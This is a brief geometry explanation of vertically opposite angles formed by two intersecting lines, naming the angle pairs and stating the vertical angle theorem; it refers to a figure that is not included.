When a pair of lines intersects, as shown in the fig. below, four angles are formed. ∠AOD and ∠COB are vertically opposite to each other and ∠AOC and ∠BOD are vertically opposite to each other. These angles are also known as vertical angles or opposite angles.

Thus, when two lines intersect, two pair of vertically opposite angles are formed i.e. ∠AOD, ∠COB and ∠AOC, ∠BOD.

According to vertical angle theorem, in a pair of intersecting lines the vertically opposite angles are equal.